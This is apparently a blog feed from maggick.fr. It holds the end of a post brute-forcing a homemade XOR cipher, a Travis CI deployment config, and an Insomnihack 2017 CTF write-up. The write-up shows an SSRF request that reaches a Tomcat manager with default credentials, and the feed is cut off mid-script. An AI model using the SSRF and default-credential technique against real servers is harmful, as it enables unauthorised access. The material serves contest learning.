<p>In fact PHP make a xor operation between the ASCII value of the character and
convert the result back to the ASCII character. For instance <code>'a' xor 'B'</code> will
result in <code>65 xor 98</code> which give <code>35</code> therefore <code>'a' xor 'B' → '#'</code></p>
<p>As you may have seen in the above code this is equivalent to the following
python code:</p>
<div class="highlight"><pre><span></span><code><span class="n">tmp</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">clearText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
</code></pre></div>
<h2>Full code</h2>
<p>The complete code is the following:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>
<span class="k">def</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">clearText</span><span class="p">):</span>
<span class="n">privateKey</span> <span class="o">=</span> <span class="s1">'123456'</span>
<span class="n">cipherText</span> <span class="o">=</span> <span class="s1">''</span>
<span class="n">key</span><span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">32000</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">clearText</span><span class="p">)):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)):</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="n">cipherText</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]</span><span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">clearText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">key2</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="n">privateKey</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">result</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipherText</span><span class="p">)):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">key2</span><span class="p">)):</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">cipherText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key2</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">j</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">brute</span><span class="p">():</span>
<span class="n">clearText</span><span class="o">=</span><span class="s1">'this is a test in order to break some home made crypto'</span>
<span class="n">codedText</span><span class="o">=</span><span class="n">crypt</span><span class="p">(</span><span class="n">clearText</span><span class="p">)</span>
<span class="n">k</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="p">(</span><span class="n">k</span><span class="o"><</span><span class="mi">32001</span><span class="p">):</span>
<span class="n">key</span><span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="n">cipherText</span><span class="o">=</span> <span class="s1">''</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">clearText</span><span class="p">)):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)):</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="n">cipherText</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]</span><span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">clearText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">result</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">codedText</span><span class="p">)):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipherText</span><span class="p">)):</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">codedText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">cipherText</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">j</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">l</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">s</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="p">(</span><span class="n">l</span><span class="o"><</span><span class="mi">32</span><span class="p">):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">result</span><span class="p">[</span><span class="n">l</span><span class="p">]</span><span class="o">==</span><span class="n">result</span><span class="p">[</span><span class="n">l</span><span class="o">+</span><span class="mi">32</span><span class="p">]):</span>
<span class="n">s</span> <span class="o">+=</span><span class="mi">1</span>
<span class="n">l</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">if</span> <span class="n">s</span><span class="o">==</span><span class="mi">32</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">[:</span><span class="mi">32</span><span class="p">])</span>
<span class="k">break</span>
<span class="n">k</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">brute</span><span class="p">()</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div>Building this blog with travis2017-03-04T09:30:00+01:002017-03-04T09:30:00+01:00maggicktag:maggick.fr,2017-03-04:/2017/03/building-this-blog-with-travis.html<p>Since January this blog is automatically build using <a href="https://travis-ci.org/">Travis CI</a>. The
main advantage is to always use the latest version of <a href="https://blog.getpelican.com/">Pelican</a> as
<a href="https://travis-ci.org/">travis CI</a> always build its environment from scratch. An other
advantage is that I am able to update the site just from my browser for minor
modifications (spell correction for instance).</p>
<p>Since January this blog is automatically build using <a href="https://travis-ci.org/">Travis CI</a>. The
main advantage is to always use the latest version of <a href="https://blog.getpelican.com/">Pelican</a> as
<a href="https://travis-ci.org/">travis CI</a> always build its environment from scratch. An other
advantage is that I am able to update the site just from my browser for minor
modifications (spell correction for instance).</p>
<p>Here is the <code>travis.yml</code> configuration file pass to <a href="https://travis-ci.org/">Travis CI</a>:</p>
<div class="highlight"><pre><span></span><code>language: python
install:
# https://github.com/wummel/linkchecker/issues/649
- pip install requests==2.9.1
- pip install LinkChecker==9.3
- pip install pelican markdown
# grab the build theme
- git clone -b build https://github.com/maggick/maggner-pelican
# grab the pelican plugins
- git clone https://github.com/getpelican/pelican-plugins
# grab the latest published version in order to not erase rss feed
- git clone https://github.com/maggick/maggick.github.io output
script:
- linkchecker --check-extern ./content
- pelican
after_success:
- cd output
- git add ./
- git -c user.name="Travis CI for maggick" -c user.email="<redacted>@gmail.com" commit -m 'Travis update documentation'
- git push https://${GH_TOKEN}@github.com/maggick/maggick.github.io.git master
</redacted></code></pre></div>
<h2>Declaration</h2>
<p>Let us break it a bit. First the declaration part:</p>
<div class="highlight"><pre><span></span><code><span class="n">language</span><span class="o">:</span><span class="w"> </span><span class="n">python</span>
</code></pre></div>
<p>We do not need the root right so <code>sudo</code> is not needed. Moreover we use the
python language.</p>
<h2>install</h2>
<p>The installation part:</p>
<div class="highlight"><pre><span></span><code>install:
# https://github.com/wummel/linkchecker/issues/649
- pip install requests==2.9.1
- pip install LinkChecker==9.3
- pip install pelican markdown
# grab the build theme
- git clone -b build https://github.com/maggick/maggner-pelican
# grab the pelican plugins
- git clone https://github.com/getpelican/pelican-plugins
# grab the latest published version in order to not erase rss feed
- git clone https://github.com/maggick/maggick.github.io output
</code></pre></div>
<p>We install:</p>
<ul>
<li><a href="http://docs.python-requests.org/en/master/">request</a> in version 2.9.1, this is a python library used by pelican</li>
<li><a href="https://pypi.python.org/pypi/LinkChecker">LinkChecker</a> in version 9.3, this is a tool that will check
that the link in the different articles give a 200 HTTP response</li>
<li><a href="http://getpelican.com/">pelican</a> which is used to build the site</li>
<li><a href="https://pypi.python.org/pypi/Markdown">mardkown</a> because the articles are wrote in markdown</li>
</ul>
<p>Then we grab the theme used by the site on the build branch directly on
<a href="https://github.com/maggick/maggner-pelican">github</a>, we also download the <a href="https://github.com/getpelican/pelican-plugins">pelican plugins</a>.
We need to get the last build of the site in order to not re publish all the
articles in the RSS feed (it happened once when writing this configuration).</p>
<h2>Script</h2>
<p>The script part is where the magic happen, this part will build the site and
give a red or green status depending of the output of each script. If all of
them exit without error the build is green otherwise the build is red.</p>
<div class="highlight"><pre><span></span><code>script:
- linkchecker --check-extern ./content
- pelican
</code></pre></div>
<p>The script part used <a href="https://pypi.python.org/pypi/LinkChecker">LinkChecker</a> on the content directory where
are all articles in the markdown format. This script will test every link on
every file and exit with an error if a link return something else that an HTTP
200 OK.</p>
<p>Then we use <a href="http://getpelican.com/">pelican</a> to build the site. If an error happened during
the build the script will also exit with an error.</p>
<h2>After success</h2>
<p>Finally, after the success of the two script we deploy the site on github pages,
we publish the site on <a href="https://pages.github.com/">github pages</a>:</p>
<div class="highlight"><pre><span></span><code>after_success:
<span class="w"> </span>-<span class="w"> </span>cd<span class="w"> </span>output
<span class="w"> </span>-<span class="w"> </span>git<span class="w"> </span>add<span class="w"> </span>./
<span class="w"> </span>-<span class="w"> </span>git<span class="w"> </span>-c<span class="w"> </span>user.name="Travis<span class="w"> </span>CI<span class="w"> </span>for<span class="w"> </span>maggick"<span class="w"> </span>-c<span class="w"> </span>user.email="<span class="nt"><redacted></redacted></span>@gmail.com"<span class="w"> </span>commit<span class="w"> </span>-m<span class="w"> </span>'Travis<span class="w"> </span>update<span class="w"> </span>documentation'
<span class="w"> </span>-<span class="w"> </span>git<span class="w"> </span>push<span class="w"> </span>https://<span class="cp">${</span><span class="n">GH_TOKEN</span><span class="cp">}</span>@github.com/maggick/maggick.github.io.git<span class="w"> </span>master
</code></pre></div>
<p>We go in the <code>output</code> directory of the build, we add everything for git, we
commit everything using a user crafted for the occasion and my public email
address. The commit message is a generic one. Then we push everything on the
branch <code>master</code> of the <a href="https://pages.github.com/">github pages</a> repository.</p>
<p>For this last step I was forced to give a write access to all my repositories to
<a href="https://travis-ci.org/">Travis CI</a> using the <a href="https://github.com">github</a> API. I do not really like
that but as I am monitoring the commit on my own repository I should be able to
detect a hack or a malicious action of <a href="https://travis-ci.org/">Travis CI</a>. The next
step will be to sign all my commit using GPG but I have not find a suitable
solution yet (mostly for commit from browser).</p>Insomnihack Teaser 20172017-01-22T22:00:00+01:002017-01-22T22:00:00+01:00maggicktag:maggick.fr,2017-01-22:/2017/01/insomnihack-teaser-2017.html<p>This week-end was the insomnihack teaser CTF. I participated with the team
<strong>The Half Crunchy</strong>.</p>
<p>The theme was "RISE OF THE MACHINES" with rogue webserver and flawing cat robot.</p>
<p>We finished 42th with 550 points flagging 5 challenges:</p>
<p>[TOC]</p>
<p><img alt="scoreboard" class="image-process-article-image" src="/media/2017.01/scoreboard.png"/></p>
<p>Many thanks to the organisation! It was a really nice CTF.</p>
<p>Thanks to all team members who participated.</p>
<p>This week-end was the insomnihack teaser CTF. I participated with the team
<strong>The Half Crunchy</strong>.</p>
<p>The theme was "RISE OF THE MACHINES" with rogue webserver and flawing cat robot.</p>
<p>We finished 42th with 550 points flagging 5 challenges:</p>
<p>[TOC]</p>
<p><img alt="scoreboard" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/scoreboard.png"/></p>
<p>Many thanks to the organisation! It was a really nice CTF.</p>
<p>Thanks to all team members who participated.</p>
<h2>Smarttomcat</h2>
<blockquote>
<p>Normal, regular cats are so 2000 and late, I decided to buy this allegedly smart
tomcat robot.</p>
<p>Now the damn thing has attacked me and flew away. I can't even seem to track it
down on the broken search interface... Can you help me ?</p>
</blockquote>
<p>The web site let you enter coordinate where you may think the cat is.</p>
<p><img alt="smarttomact screenshot" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/site.png"/></p>
<p>When intercepting the traffic with Burp we see that the request look like the
following:</p>
<div class="highlight"><pre><span></span><code><span class="nf">POST</span> <span class="nn">/index.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">smarttomcat.teaser.insomnihack.ch</span>
<span class="na">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0</span>
<span class="na">Accept</span><span class="o">:</span> <span class="l">*/*</span>
<span class="na">Accept-Language</span><span class="o">:</span> <span class="l">en-US,en;q=0.5</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded; charset=UTF-8</span>
<span class="na">X-Requested-With</span><span class="o">:</span> <span class="l">XMLHttpRequest</span>
<span class="na">Referer</span><span class="o">:</span> <span class="l">http://smarttomcat.teaser.insomnihack.ch/</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">61</span>
<span class="na">Connection</span><span class="o">:</span> <span class="l">close</span>
<span class="nt">u</span><span class="o">=</span><span class="s">http%3A%2F%2Flocalhost%3A8080%2Findex.jsp%3Fx%3D42%26y%3D42</span>
</code></pre></div>
<p>We notice the <code>u</code> parameter which decoded is:</p>
<div class="highlight"><pre><span></span><code>http://localhost:8080/index.jsp?x=42&y=42
</code></pre></div>
<p>The server is using itself as a proxy, When modifying the request with a <code>lol</code>,
the <code>u</code> parameter is the following:</p>
<div class="highlight"><pre><span></span><code>u=http%3A%2F%2Flocalhost%3A8080%2Flol
</code></pre></div>
<p>The server response is an error which indicate us that the server is using a
tomcat server 7.0.68.</p>
<p><img alt="testing a bad request" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/lol.png"/></p>
<p>We learned that this is a tomcat server, so let's see if we can get the manager:</p>
<div class="highlight"><pre><span></span><code>u=http%3A%2F%2Flocalhost%3A8080%2Fmanager/html/
</code></pre></div>
<p><img alt="authentication error on tomcat manager" class="image-process-article-image" src="/media/2017.01/derivatives/article-image/manager.png"/></p>
<p>Tomcat manager used a HTTP basic auth, and we can authenticate with a URL looking
like <code>http://username:password@site.com</code> so with the following parameter we test
the default user and password for tomcat manager:</p>
<div class="highlight"><pre><span></span><code><span class="n">u</span><span class="o">=</span><span class="n">http</span><span class="o">%</span><span class="mi">3</span><span class="n">A</span><span class="o">%</span><span class="mi">2</span><span class="n">F</span><span class="o">%</span><span class="mi">2</span><span class="nl">Ftomcat</span><span class="p">:</span><span class="n">tomcat</span><span class="nv">@localhost</span><span class="o">%</span><span class="mi">3</span><span class="n">A8080</span><span class="o">%</span><span class="mi">2</span><span class="n">Fmanager</span><span class="o">/</span><span class="n">html</span>
</code></pre></div>
<p>The response is the following:</p>
<div class="highlight"><pre><span></span><code>We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
</code></pre></div>
<h2>Cryptquizz</h2>
<blockquote>
<p>Hello, young hacker. Are you ready to fight rogue machines ? Now, you'll have to
prove us that you are a genuine cryptographer.</p>
<p>Running on quizz.teaser.insomnihack.ch:1031</p>
</blockquote>
<p>This challenge is a series of questions regarding year of birth of different
cryptographers.</p>
<div class="highlight"><pre><span></span><code>[maggick@eridani ~]$ nc quizz.teaser.insomnihack.ch 1031
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ? ~~
~~ Now, you'll have to prove us that you are a genuine ~~
~~ cryptographer. ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ What is the birth year of Ronald Cramer ?
</code></pre></div>
<p>In order to obtain the flag it is necessary to automated the process. This is
quit simple in python but a bit repetitive.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">pexpect</span>
<span class="n">child</span> <span class="o">=</span> <span class="n">pexpect</span><span class="o">.</span><span class="n">spawn</span><span class="p">(</span><span class="s1">'telnet quizz.teaser.insomnihack.ch 1031'</span><span class="p">)</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">question</span> <span class="o">=</span> <span class="n">child</span><span class="o">.</span><span class="n">expect</span><span class="p">([</span><span class="s1">'Alan Turing'</span><span class="p">,</span><span class="s1">'Amit Sahai'</span><span class="p">,</span><span class="s1">'Bruce </span>
<span class="n">Schneier</span><span class="s1">','</span><span class="n">Claude</span> <span class="n">Shannon</span><span class="s1">','</span><span class="n">Claus</span><span class="o">-</span><span class="n">Peter</span> <span class="n">Schnorr</span><span class="s1">','</span><span class="n">Dan</span> <span class="n">Boneh</span><span class="s1">','</span><span class="n">Daniel</span>
<span class="n">Bleichenbacher</span><span class="s1">','</span><span class="n">Daniel</span> <span class="n">J</span><span class="o">.</span> <span class="n">Bernstein</span><span class="s1">','</span><span class="n">David</span> <span class="n">Chaum</span><span class="s1">','</span><span class="n">Donald</span> <span class="n">Davies</span><span class="s1">','</span><span class="n">Don</span>
<span class="n">Coppersmith</span><span class="s1">','</span><span class="n">Douglas</span> <span class="n">Stinson</span><span class="s1">','</span><span class="n">Eli</span> <span class="n">Biham</span><span class="s1">','</span><span class="n">Gilles</span> <span class="n">Brassard</span><span class="s1">','</span><span class="n">Horst</span>
<span class="n">Feistel</span><span class="s1">','</span><span class="n">Ivan</span> <span class="n">Damgard</span><span class="s1">','</span><span class="n">Jacques</span> <span class="n">Stern</span><span class="s1">','</span><span class="n">Jean</span><span class="o">-</span><span class="n">Jacques</span> <span class="n">Quisquater</span><span class="s1">','</span><span class="n">Jim</span>
<span class="n">Massey</span><span class="s1">','</span><span class="n">Joan</span> <span class="n">Daemen</span><span class="s1">','</span><span class="n">Markus</span> <span class="n">Jakobsson</span><span class="s1">','</span><span class="n">Martin</span> <span class="n">Hellman</span><span class="s1">','</span><span class="n">Michael</span> <span class="n">O</span><span class="o">.</span>
<span class="n">Rabin</span><span class="s1">','</span><span class="n">Mihir</span> <span class="n">Bellare</span><span class="s1">','</span><span class="n">Mitsuru</span> <span class="n">Matsui</span><span class="s1">','</span><span class="n">Moni</span> <span class="n">Naor</span><span class="s1">','</span><span class="n">Neal</span>
<span class="n">Koblitz</span><span class="s1">','</span><span class="n">Niels</span> <span class="n">Ferguson</span><span class="s1">','</span><span class="n">Nigel</span> <span class="n">P</span><span class="o">.</span> <span class="n">Smart</span><span class="s1">','</span><span class="n">Paul</span> <span class="n">Kocher</span><span class="s1">','</span><span class="n">Paulo</span>
<span class="n">Barreto</span><span class="s1">','</span><span class="n">Rafail</span> <span class="n">Ostrovsky</span><span class="s1">','</span><span class="n">Ralph</span> <span class="n">Merkle</span><span class="s1">','</span><span class="n">Ronald</span> <span class="n">Cramer</span><span class="s1">','</span><span class="n">Ron</span>
<span class="n">Rivest</span><span class="s1">','</span><span class="n">Ross</span> <span class="n">Anderson</span><span class="s1">','</span><span class="n">Scott</span> <span class="n">Vanstone</span><span class="s1">','</span><span class="n">Serge</span> <span class="n">Vaudenay</span><span class="s1">','</span><span class="n">Shafi</span>
<span class="n">Goldwasser</span><span class="s1">','</span><span class="n">Shai</span> <span class="n">Halevi</span><span class="s1">','</span><span class="n">Taher</span> <span class="n">Elgamal</span><span class="s1">','</span><span class="n">Tatsuaki</span> <span class="n">Okamoto</span><span class="s1">','</span><span class="n">Ueli</span>
<span class="n">Maurer</span><span class="s1">','</span><span class="n">Victor</span> <span class="n">S</span><span class="o">.</span> <span class="n">Miller</span><span class="s1">','</span><span class="n">Vincent</span> <span class="n">Rijmen</span><span class="s1">','</span><span class="n">Wang</span> <span class="n">Xiaoyun</span><span class="s1">','</span><span class="n">Whitfield</span>
<span class="n">Diffie</span><span class="s1">','</span><span class="n">Xuejia</span> <span class="n">Lai</span><span class="s1">','</span><span class="n">Yehuda</span> <span class="n">Lindell</span><span class="s1">','</span><span class="n">Yvo</span> <span class="n">Desmedt</span><span class="s1">','</span><span class="n">Kaisa</span>
<span class="n">Nyberg</span><span class="s1">','</span><span class="n">Rafail</span> <span class="n">Ostrovsky</span><span class="s1">','</span><span class="n">Adi</span> <span class="n">Shamir</span><span class="s1">'])</span>
<span class="k">if</span> <span class="n">question</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1912'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">1</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1974'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">2</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1963'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">3</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1916'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">4</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1943'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">5</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1969'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">6</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1964'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">7</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1971'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">8</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1955'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">9</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1924'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">10</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1950'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">11</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1956'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">12</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1960'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">13</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1955'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">14</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1915'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">15</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1956'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">16</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1949'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">17</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1945'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">18</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1934'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">19</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1965'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">20</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1968'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">21</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1945'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">22</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1931'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">23</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1962'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">24</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1961'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">25</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1961'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">26</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1948'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">27</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1965'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">28</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1967'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">question</span><span class="o">==</span><span class="mi">29</span><span class="p">:</span>
<span class="n">child</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1973'</span><span class="p">)</span>
